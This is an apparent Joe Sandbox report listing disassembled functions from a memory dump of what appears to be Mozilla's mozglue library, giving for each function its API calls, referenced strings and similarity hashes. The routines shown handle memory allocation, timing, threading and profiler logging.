String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 02b480d32bf91ee067f522f8f9b6cc5b597356f2e598d9fd5f43df8b2237ca47
Instruction ID: 6f23afd831d6b2b3411cf1fe9a0d1699f7d94534031e1edcd38e1ece279493f3
Opcode Fuzzy Hash: 02b480d32bf91ee067f522f8f9b6cc5b597356f2e598d9fd5f43df8b2237ca47
Instruction Fuzzy Hash: 8981F170B012449BEB08AFAAED54BAD77F5FB46304F110529E921D7B80D7B1A806CFD6

Function 6C587FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C588007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C58801D

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C58802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C58803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C58808D

Part of subcall function 6C58CA10: mozalloc_abort.MOZGLUE(?), ref: 6C58CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C58809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5880B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5880DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5880ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5880FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C58810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C588133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C588149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C588167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C58817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C588199

Strings

0>[l, xrefs: 6C58811E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>[l
API String ID: 2721933968-3805365963
Opcode ID: b40839b896adc625e85089354a9bfbc7d461d33f0dc5fd6548e4026f5ba7f609
Instruction ID: 4edb787aaec598a7745826de4f7886a1b62ddbade67b586c40c38ddbd58c30de
Opcode Fuzzy Hash: b40839b896adc625e85089354a9bfbc7d461d33f0dc5fd6548e4026f5ba7f609
Instruction Fuzzy Hash: E45184B1E011149BDF10DBA5DC84AAFBBB9EF89224F540225E815E7741EB35ED048BA1

Function 6C585E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C585E9D

Part of subcall function 6C595B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5956EE,?,00000001), ref: 6C595B85
Part of subcall function 6C595B50: EnterCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595B90
Part of subcall function 6C595B50: LeaveCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595BD8
Part of subcall function 6C595B50: GetTickCount64.KERNEL32 ref: 6C595BE4

GetCurrentThreadId.KERNEL32 ref: 6C585EAB
GetCurrentThreadId.KERNEL32 ref: 6C585EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C585ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C586017

Part of subcall function 6C574310: moz_xmalloc.MOZGLUE(00000010,?,6C5742D2), ref: 6C57436A
Part of subcall function 6C574310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5742D2), ref: 6C574387

moz_xmalloc.MOZGLUE(00000004), ref: 6C585F47
GetCurrentProcess.KERNEL32 ref: 6C585F53
GetCurrentThread.KERNEL32 ref: 6C585F5C
GetCurrentProcess.KERNEL32 ref: 6C585F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C585F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C585F27

Part of subcall function 6C58CA10: mozalloc_abort.MOZGLUE(?), ref: 6C58CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5855E1), ref: 6C585E8C

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5855E1), ref: 6C58605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5855E1), ref: 6C5860CC

Strings

GeckoMain, xrefs: 6C585ECE, 6C586015

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 5a7582b32b348ecf230dc2088102c22059f9d4fc6b800940c61d48a4ff8a60cf
Instruction ID: fc588f9c3d2e7884e650f7ba7cb773f77e2ab8aa4c6107fdcb8e4aae6842713d
Opcode Fuzzy Hash: 5a7582b32b348ecf230dc2088102c22059f9d4fc6b800940c61d48a4ff8a60cf
Instruction Fuzzy Hash: 6D71C2B0605740DFD704DF28D880A6ABBF0FF99304F544A6DE59687B52DB31E848CB96

Function 6C589590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C573217
Part of subcall function 6C5731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C573236
Part of subcall function 6C5731C0: FreeLibrary.KERNEL32 ref: 6C57324B
Part of subcall function 6C5731C0: __Init_thread_footer.LIBCMT ref: 6C573260
Part of subcall function 6C5731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C57327F
Part of subcall function 6C5731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C57328E
Part of subcall function 6C5731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5732AB
Part of subcall function 6C5731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5732D1
Part of subcall function 6C5731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5732E5
Part of subcall function 6C5731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C589675
__Init_thread_footer.LIBCMT ref: 6C589697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C589707
__Init_thread_footer.LIBCMT ref: 6C58971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C589773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5897B7
FreeLibrary.KERNEL32 ref: 6C5897D0
FreeLibrary.KERNEL32 ref: 6C5897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C589824

Strings

MapViewOfFileNuma2, xrefs: 6C5897B1
NtMapViewOfSection, xrefs: 6C589701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C589670
ntdll.dll, xrefs: 6C5896E3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e026f15ec8e1bfe37a024630a63565d60f5c10a32e2ffe56db405fe81f945365
Instruction ID: 94aac36b3c6e23cdbf71adea23a6c6b3f476b375fee739d94ad1f039e5d6ff74
Opcode Fuzzy Hash: e026f15ec8e1bfe37a024630a63565d60f5c10a32e2ffe56db405fe81f945365
Instruction Fuzzy Hash: 9061D471702215DBDF08DFA9EC84B9ABBF1EB4A314F114619E926D7B80D730A844CF95

Function 6C5D6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C5FF618), ref: 6C5D6694
GetThreadId.KERNEL32(?), ref: 6C5D66B1
GetCurrentThreadId.KERNEL32 ref: 6C5D66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5D66E1
EnterCriticalSection.KERNEL32(6C5FF618), ref: 6C5D6734
GetCurrentProcess.KERNEL32 ref: 6C5D673A
LeaveCriticalSection.KERNEL32(6C5FF618), ref: 6C5D676C
GetCurrentThread.KERNEL32 ref: 6C5D67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C5D6868
RtlCaptureContext.NTDLL ref: 6C5D687F

Strings

WalkStack64, xrefs: 6C5D6890

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: db921f0e5fba1492fdc7a629967a8d7b30aed8e06671fc4b47081675b7c29feb
Instruction ID: 219eecd2849e7757455fbcb7d505065cfe9602c05abc364dc58d5c2b9542bc0c
Opcode Fuzzy Hash: db921f0e5fba1492fdc7a629967a8d7b30aed8e06671fc4b47081675b7c29feb
Instruction Fuzzy Hash: 58517671A09301AFDB15DF28C844A5ABBF4BF89714F02492DF5A8C7640DB70A9098F9A

Function 6C5BDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BDE73
GetCurrentThreadId.KERNEL32 ref: 6C5BDF7D
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BDF8A
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5BDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C584A68), ref: 6C5BDE7B

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C584A68), ref: 6C5BDEB8
free.MOZGLUE(00000000,?,6C584A68), ref: 6C5BDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5BDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5BE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5BDE83
<none>, xrefs: 6C5BDFD7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 4ec3a7c842a655d03b746dab9d881d2514b4e25ccf4dcb41633be54462860335
Instruction ID: ba30a1aaef63be046d0772b5a677cbaf9860603a372a85f5cc753d976c5d0ace
Opcode Fuzzy Hash: 4ec3a7c842a655d03b746dab9d881d2514b4e25ccf4dcb41633be54462860335
Instruction Fuzzy Hash: D641E535701104DBDB189B64EC187AEBBB5EB82308F150115E925E7F49DB71AC06CFAA

Function 6C5CD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5CD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD918
GetCurrentThreadId.KERNEL32 ref: 6C5CD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD970
GetCurrentThreadId.KERNEL32 ref: 6C5CD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5CDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5CDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5CDA91

Part of subcall function 6C595C50: GetTickCount64.KERNEL32 ref: 6C595D40
Part of subcall function 6C595C50: EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C595D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CDAB7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 61a10aadedb7ea49d0938ea67b59b356f16aad6436a74a0c46ed076b1f9b51a1
Instruction ID: 1dddc5b692c2eed6d46f5acbe0df67211e42f479a1639a17ed514379578386d5
Opcode Fuzzy Hash: 61a10aadedb7ea49d0938ea67b59b356f16aad6436a74a0c46ed076b1f9b51a1
Instruction Fuzzy Hash: 95717835604204DFCB04DF69C888B9ABBB5FF89314F15856EE95ADB301DB30A944CBA6

Function 6C5CD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5CD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD52A
GetCurrentThreadId.KERNEL32 ref: 6C5CD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD55F
free.MOZGLUE(00000000), ref: 6C5CD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5CD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5CD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD652
GetCurrentThreadId.KERNEL32 ref: 6C5CD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5CD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CD6A2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 7a2051a385cec6e23df412c31ab6310eefbf446c4cb677d1f8e7182da0482c9b
Instruction ID: 17b58e317d471e799b481dddd885eb79a86ea3628c581eef9ab0d4df4ed0d47a
Opcode Fuzzy Hash: 7a2051a385cec6e23df412c31ab6310eefbf446c4cb677d1f8e7182da0482c9b
Instruction Fuzzy Hash: 8C518B71604705DFC704DF65C888A9ABBF4FF89318F018A2EE95AC7711EB31A845CB96

Function 6C571E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C571EC1
LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C571EE1
EnterCriticalSection.KERNEL32(6C5FE744), ref: 6C571F38
LeaveCriticalSection.KERNEL32(6C5FE744), ref: 6C571F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C571F83
LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C571FC0
EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C571FE2
LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C571FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C572019

Strings

D_l, xrefs: 6C571F56
MOZ_CRASH(), xrefs: 6C572000
D_l, xrefs: 6C571F32
\_l, xrefs: 6C571F3E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D_l$D_l$MOZ_CRASH()$\_l
API String ID: 2055633661-1314198886
Opcode ID: 03bd40ee227dc6d94a35de5fa922faad91e0491542dac1671cefc83fe108bc4b
Instruction ID: 209ecaf0f2dcb14adbfb16ee80d91b149e4244ce378e9e28317a78afc10ab024
Opcode Fuzzy Hash: 03bd40ee227dc6d94a35de5fa922faad91e0491542dac1671cefc83fe108bc4b
Instruction Fuzzy Hash: 5241E371B01359CBDF149FA9DC98B6F3AB5EB4A308F050125EA28D7740D7B1A8058FE9

Function 6C595670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5956D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5956E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5956F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C595744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5957BC
GetTickCount64.KERNEL32 ref: 6C5958CB
EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C5958F3
__aulldiv.LIBCMT ref: 6C595945
LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C5959B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C5FF638,?,?,?,?), ref: 6C5959E9

Strings

MOZ_APP_RESTART, xrefs: 6C5956CC

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: b1003b218b8d524f24bf1c7c9d5278b47c5d39ae44e7e63cda8c02e3820dcf95
Instruction ID: 44d0264b6fcc8ffb2ed9f68589205e1ef6e03e3a1e289e5fc7d3d81472daaa17
Opcode Fuzzy Hash: b1003b218b8d524f24bf1c7c9d5278b47c5d39ae44e7e63cda8c02e3820dcf95
Instruction Fuzzy Hash: 51C16C31A083809FD709CF28D84065EB7F1BFCA755F568B5DE8D497660EB30A885CB86

Function 6C5BEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BEC8C

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

GetCurrentThreadId.KERNEL32 ref: 6C5BECA1
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5BECC5
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5BED19
CloseHandle.KERNEL32(?), ref: 6C5BED28
free.MOZGLUE(00000000), ref: 6C5BED2F
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5BEC94

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: f4e95f0cd5dadc893f1831a7b1a28495d1404c5183027a027a9d5f3dd8dbcd27
Instruction ID: f3e05e8c9d6564025f1cd636bff8dae83964c233916dfaef8d55d0d75b64bf6a
Opcode Fuzzy Hash: f4e95f0cd5dadc893f1831a7b1a28495d1404c5183027a027a9d5f3dd8dbcd27
Instruction Fuzzy Hash: 8421F675600104DFDB04AF24EC18A9A7BB9EF8626CF154214FD24E7B41D7B19C06CFA9

Function 6C5B8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

